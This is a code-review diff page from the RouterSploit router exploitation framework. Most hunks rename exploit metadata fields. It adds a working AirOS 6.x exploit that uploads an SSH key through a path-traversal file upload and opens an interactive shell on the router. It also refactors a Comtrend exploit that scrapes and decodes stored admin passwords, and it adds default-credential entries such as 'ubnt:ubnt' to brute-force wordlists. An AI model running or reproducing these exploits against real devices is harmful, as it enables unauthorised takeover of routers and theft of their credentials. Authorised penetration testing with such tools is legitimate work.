...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/35184/', 'https://www.exploit-db.com/exploits/35184/',
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/',
], ],
'targets': [ 'devices': [
'Belkin N750', 'Belkin N750',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39568/', 'https://www.exploit-db.com/exploits/39568/',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash',
], ],
'targets': [ 'devices': [
'Cisco UCS Manager 2.1 (1b)', 'Cisco UCS Manager 2.1 (1b)',
], ],
} }
......
...@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit): ...@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html' 'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
], ],
'targets': [ 'devices': [
'Comtrend CT 5361T (more likely CT 536X)\n' + 'Comtrend CT 5361T (more likely CT 536X)',
'Software Version: A111-312SSG-T02_R01\n' +
'Wireless Driver Version: 4.150.10.15.cpe2.2'
] ]
} }
...@@ -38,34 +36,34 @@ class Exploit(exploits.Exploit): ...@@ -38,34 +36,34 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
def run(self): def run(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url))
print_status("Requesting for {}".format(url)) response = http_request(method="GET", url=url)
if response is None:
return
response = http_request(method="GET", url=url) regexps = [("admin", "pwdAdmin = '(.+?)'"),
if response is None: ("support", "pwdSupport = '(.+?)'"),
return ("user", "pwdUser = '(.+?)'")]
creds = [] creds = []
admin = re.findall("pwdAdmin = '(.+?)'", response.text) for regexp in regexps:
if len(admin): res = re.findall(regexp[1], response.text)
creds.append(('Admin', b64decode(admin[0])))
if len(res):
support = re.findall("pwdSupport = '(.+?)'", response.text) creds.append((regexp[0], b64decode(res[0])))
if len(support):
creds.append(('Support', b64decode(support[0]))) if len(creds):
print_success("Credentials found!")
user = re.findall("pwdUser = '(.+?)'", response.text) headers = ("Login", "Password")
if len(user): print_table(headers, *creds)
creds.append(('User', b64decode(user[0]))) print("NOTE: Admin is commonly implemented as root")
else:
if len(creds): print_error("Credentials could not be found")
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
print("NOTE: Admin is commonly implemented as root")
else: else:
print_error("Credentials could not be found") print_error("Device seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
...@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit): ...@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])): regexps = ["pwdAdmin = '(.+?)'",
return True # target vulnerable "pwdSupport = '(.+?)'",
"pwdUser = '(.+?)'"]
for regexp in regexps:
res = re.findall(regexp, response.text)
if len(res):
try:
b64decode(res[0]) # checking if data is base64 encoded
except:
return False # target is not vulnerable
else:
return False # target is not vulnerable
return False # target is not vulnerable return True # target is vulnerable
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf', 'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf',
], ],
'targets': [ 'devices': [
'D-Link DIR-300', 'D-Link DIR-300',
'D-Link DIR-600', 'D-Link DIR-600',
'D-Link DIR-615 revD', 'D-Link DIR-615 revD',
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/bugtraq/2013/Dec/11' 'http://seclists.org/bugtraq/2013/Dec/11'
], ],
'targets': [ 'devices': [
'D-Link DIR-300 (all)', 'D-Link DIR-300 (all)',
'D-Link DIR-600 (all)', 'D-Link DIR-600 (all)',
'D-Link DIR-615 (fw 4.0)', 'D-Link DIR-615 (fw 4.0)',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days', 'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003', 'http://www.s3cur1ty.de/m1adv2013-003',
], ],
'targets': [ 'devices': [
'D-Link DIR 300', 'D-Link DIR 300',
'D-Link DIR 600', 'D-Link DIR 600',
] ]
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'
], ],
'targets': [ 'devices': [
'D-Link DIR-645 (Versions < 1.03)', 'D-Link DIR-645 (Versions < 1.03)',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf', 'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf',
], ],
'targets': [ 'devices': [
'DNS-320L 1.03b04', 'DNS-320L 1.03b04',
'DNS-327L, 1.02', 'DNS-327L, 1.02',
] ]
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/fulldisclosure/2015/May/129' 'http://seclists.org/fulldisclosure/2015/May/129'
], ],
'targets': [ 'devices': [
'D-Link DSL-2750B EU_1.01', 'D-Link DSL-2750B EU_1.01',
], ],
} }
......
...@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit): ...@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39409/', 'https://www.exploit-db.com/exploits/39409/',
'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html', 'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html',
], ],
'targets': [ 'devices': [
'D-Link DVG-N5402SP', 'D-Link DVG-N5402SP',
] ]
} }
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/39581/', 'https://www.exploit-db.com/exploits/39581/',
], ],
'targets': [ 'devices': [
'D-Link DWR-932', 'D-Link DWR-932',
] ]
} }
......
...@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days', 'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003', 'http://www.s3cur1ty.de/m1adv2013-003',
], ],
'targets': [ 'devices': [
'FortiGate OS Version 4.x-5.0.7', 'FortiGate OS Version 4.x-5.0.7',
] ]
} }
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
], ],
'targets': [ 'devices': [
'Juniper ScreenOS 6.2.0r15 to 6.2.0r18', 'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
'Juniper ScreenOS 6.3.0r12 to 6.3.0r20', 'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
] ]
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/24475/', 'https://www.exploit-db.com/exploits/24475/',
], ],
'targets': [ 'devices': [
'Linksys E1500/E2500', 'Linksys E1500/E2500',
] ]
} }
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/bugtraq/2010/Jun/93', 'http://seclists.org/bugtraq/2010/Jun/93',
], ],
'targets': [ 'devices': [
'Linksys WAP54Gv3', 'Linksys WAP54Gv3',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-001.php', 'http://firmware.re/vulns/acsa-2015-001.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
], ],
'targets': [ 'devices': [
'Netgear WG102', 'Netgear WG102',
'Netgear WG103', 'Netgear WG103',
'Netgear WN604', 'Netgear WN604',
......
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt', 'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt',
'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html', 'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html',
], ],
'targets': [ 'devices': [
'Netgear N300', 'Netgear N300',
'Netgear JNR1010v2', 'Netgear JNR1010v2',
'Netgear JNR3000', 'Netgear JNR3000',
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-002.php', 'http://firmware.re/vulns/acsa-2015-002.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
], ],
'targets': [ 'devices': [
'Netgear ProSafe WC9500', 'Netgear ProSafe WC9500',
'Netgear ProSafe WC7600', 'Netgear ProSafe WC7600',
'Netgear ProSafe WC7520', 'Netgear ProSafe WC7520',
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/31894/', 'https://www.exploit-db.com/exploits/31894/',
], ],
'targets': [ 'devices': [
'Technicolor TC7200', 'Technicolor TC7200',
] ]
} }
......
import requests, tempfile, os.path
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import (
exploits,
print_success,
print_error,
print_info,
random_text,
sanitize_url,
http_request,
mute,
)
class Exploit(exploits.Exploit):
'''
Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router
'''
__info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',
'authors': [
'93c08539', #Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module
],
'references': [
'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/'
],
'devices': [
'AirOS 6.x'
]
}
target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port
#Disable certificate verification warnings
requests.packages.urllib3.disable_warnings()
def run(self):
if(self.check()):
print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key')
key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64()
private_key = StringIO.StringIO()
key.write_private_key(private_key)
tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key)
tmp_file_pubkey.seek(0)
upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}
upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params)
if(response is None):
print_error('Something was wrong while uploading the SSH Public Key')
return
print_success('Appareantly the exploit worked fine')
print_success('Trying to invoke a interactive SSH Shell')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()
ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')
client.connect(ip_target, 22, username='ubnt', pkey=pkey)
# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()
else:
print_error('Target is not vulnerable')
@mute
def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))
upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET')
if(response is None):
return False #Target not vulnerable
rand_str = random_text(length=16)
tmp_payload = tempfile.TemporaryFile()
tmp_payload.write('vulnerable' + rand_str)
tmp_payload.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}
response = http_request(url=upload_url, method='POST', files=upload_params)
tmp_payload.close()
if(response is None):
return False #Target not vulnerable
#Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET')
#Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}
http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close()
if('vulnerable'+rand_str in verify_upload.text):
return True
else:
return False
...@@ -30,7 +30,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -30,7 +30,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
def test_raw_commands_no_module(self): def test_raw_commands_no_module(self):
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt('debug exit use \r\n', self.raw_prompt) self.assertPrompt('exit use \r\n', self.raw_prompt)
def test_complete_use_raw(self): def test_complete_use_raw(self):
self.rsf.send("u\t\t") self.rsf.send("u\t\t")
...@@ -87,7 +87,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -87,7 +87,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module() self.set_module()
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt( self.assertPrompt(
'back check debug exit run set show \r\n', 'back check exit run set show \r\n',
self.module_prompt('FTP Bruteforce') self.module_prompt('FTP Bruteforce')
) )
...@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module() self.set_module()
self.rsf.send("set \t\t") self.rsf.send("set \t\t")
self.assertPrompt( self.assertPrompt(
'passwords port target threads usernames verbosity \r\n', 'passwords stop_on_success threads verbosity\r\nport target usernames \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
'set ', 'set ',
) )
...@@ -181,4 +181,4 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -181,4 +181,4 @@ class RoutersploitCompleterTest(unittest.TestCase):
) )
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
\ No newline at end of file
from __future__ import print_function
from __future__ import absolute_import
import unittest
try:
import unittest.mock as mock
except ImportError:
import mock
from routersploit.utils import index_modules
class UtilsTest(unittest.TestCase):
@mock.patch('os.walk')
def test_load_modules_01(self, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc']),
)
path = 'path/to/module'
modules = index_modules(path)
mock_walk.assert_called_once_with(path)
self.assertEqual(
modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit'
]
)
@mock.patch('os.walk')
def test_load_modules_import_error_02(self, mock_walk):
mock_walk.return_value = (
('/Abs/Path/routersploit/routersploit/modules', ['asmax', 'creds'], ['__init__.py', '__init__.pyc']),
('/Abs/Path/routersploit/routersploit/modules/creds', [], ['__init__.py', '__init__.pyc', 'ftp_bruteforce.py', 'ftp_bruteforce.pyc']),
('/Abs/Path/routersploit/routersploit/modules/exploits/asmax', [], ['__init__.py', '__init__.pyc', 'asmax_exploit.py', 'asmax_exploit.pyc', 'asmax_multi.py', 'asmax_multi.pyc']),
)
path = 'path/to/module'
modules = index_modules(path)
mock_walk.assert_called_once_with(path)
self.assertEqual(
modules,
[
'creds.ftp_bruteforce',
'exploits.asmax.asmax_exploit',
'exploits.asmax.asmax_multi',
]
)
if __name__ == '__main__':
unittest.main()
\ No newline at end of file
from __future__ import print_function from __future__ import print_function
from __future__ import absolute_import
import threading import threading
from functools import wraps import os
from distutils.util import strtobool
import sys import sys
import random import random
import string import string
import socket
from functools import wraps
from distutils.util import strtobool
import importlib
import requests import requests
from .exceptions import RoutersploitException
from . import modules as rsf_modules
MODULES_DIR = rsf_modules.__path__[0]
print_lock = threading.Lock() print_lock = threading.Lock()
...@@ -19,6 +28,49 @@ colors = { ...@@ -19,6 +28,49 @@ colors = {
} }
def index_modules(modules_directory=MODULES_DIR):
""" Return list of all exploits modules """
modules = []
for root, dirs, files in os.walk(modules_directory):
_, package, root = root.rpartition('routersploit/modules/'.replace('/', os.sep))
root = root.replace(os.sep, '.')
files = filter(lambda x: not x.startswith("__") and x.endswith('.py'), files)
modules.extend(map(lambda x: '.'.join((root, os.path.splitext(x)[0])), files))
return modules
def import_exploit(path):
""" Import exploit module
:param path: absolute path to exploit e.g. routersploit.modules.exploits.asus.pass_bypass
:return: exploit module or error
"""
try:
module = importlib.import_module(path)
return getattr(module, 'Exploit')
except (ImportError, AttributeError, KeyError) as err:
raise RoutersploitException(
"Error during loading '{}'\n\n"
"Error: {}\n\n"
"It should be valid path to the module. "
"Use <tab> key multiple times for completion.".format(humanize_path(path), err)
)
def iter_modules(modules_directory=MODULES_DIR):
""" Iterate over valid modules """
modules = index_modules(modules_directory)
modules = map(lambda x: "".join(['routersploit.modules.', x]), modules)
for path in modules:
try:
yield import_exploit(path)
except RoutersploitException:
pass
def pythonize_path(path): def pythonize_path(path):
""" Replace argument to valid python dotted notation. """ Replace argument to valid python dotted notation.
...@@ -125,26 +177,26 @@ def multi(fn): ...@@ -125,26 +177,26 @@ def multi(fn):
_, _, feed_path = self.target.partition("file://") _, _, feed_path = self.target.partition("file://")
try: try:
file_handler = open(feed_path, 'r') with open(feed_path) as file_handler:
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target,
self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
return # Nothing to return, ran multiple times.
except IOError: except IOError:
print_error("Could not read file: {}".format(self.target)) print_error("Could not read file: {}".format(self.target))
return return
for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
else:
self.port = original_port
print_status("Attack against: {}:{}".format(self.target, self.port))
fn(self, *args, **kwargs)
self.target = original_target
self.port = original_port
file_handler.close()
return # Nothing to return, ran multiple times.
else: else:
return fn(self, *args, **kwargs) return fn(self, *args, **kwargs)
return wrapper return wrapper
...@@ -338,6 +390,9 @@ def http_request(method, url, **kwargs): ...@@ -338,6 +390,9 @@ def http_request(method, url, **kwargs):
except requests.RequestException as error: except requests.RequestException as error:
print_error(error) print_error(error)
return return
except socket.error as err:
print_error(err)
return
except KeyboardInterrupt: except KeyboardInterrupt:
print_info() print_info()
print_status("Module has been stopped") print_status("Module has been stopped")
......
...@@ -160,12 +160,14 @@ admin:netadmin ...@@ -160,12 +160,14 @@ admin:netadmin
admin:noway admin:noway
admin:operator admin:operator
admin:password admin:password
admin:pentagram
admin:pwp admin:pwp
admin:radius admin:radius
admin:rmnetlm admin:rmnetlm
admin:root admin:root
admin:secure admin:secure
admin:setup admin:setup
admin:sky
admin:smallbusiness admin:smallbusiness
admin:smcadmin admin:smcadmin
admin:superuser admin:superuser
...@@ -384,6 +386,7 @@ topicalt:password ...@@ -384,6 +386,7 @@ topicalt:password
topicnorm:password topicnorm:password
topicres:password topicres:password
tw:tw tw:tw
ubnt:ubnt
user:pass user:pass
user:password user:password
user:public user:public
......
...@@ -108,7 +108,6 @@ MPE ...@@ -108,7 +108,6 @@ MPE
MServer MServer
Manager Manager
Master Master
Mau’dib
Menara Menara
MiniAP MiniAP
Multi Multi
...@@ -146,6 +145,7 @@ RSX ...@@ -146,6 +145,7 @@ RSX
SECURITY SECURITY
SERVICE SERVICE
SESAME SESAME
sky
SKY_FOX SKY_FOX
SMDR SMDR
SSA SSA
...@@ -388,6 +388,7 @@ password1 ...@@ -388,6 +388,7 @@ password1
passwort passwort
patrol patrol
pbxk1064 pbxk1064
pentagram
pento pento
pepper pepper
permit permit
...@@ -479,6 +480,7 @@ truetime ...@@ -479,6 +480,7 @@ truetime
trustno1 trustno1
tslinux tslinux
tuxalize tuxalize
ubnt
uplink uplink
user user
visual visual
......
...@@ -256,6 +256,7 @@ tiger ...@@ -256,6 +256,7 @@ tiger
topicalt topicalt
topicnorm topicnorm
topicres topicres
ubnt
user user
vcr vcr
veda veda
......
#!/usr/bin/env python #!/usr/bin/env python2
from routersploit.interpreter import RoutersploitInterpreter from routersploit.interpreter import RoutersploitInterpreter
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment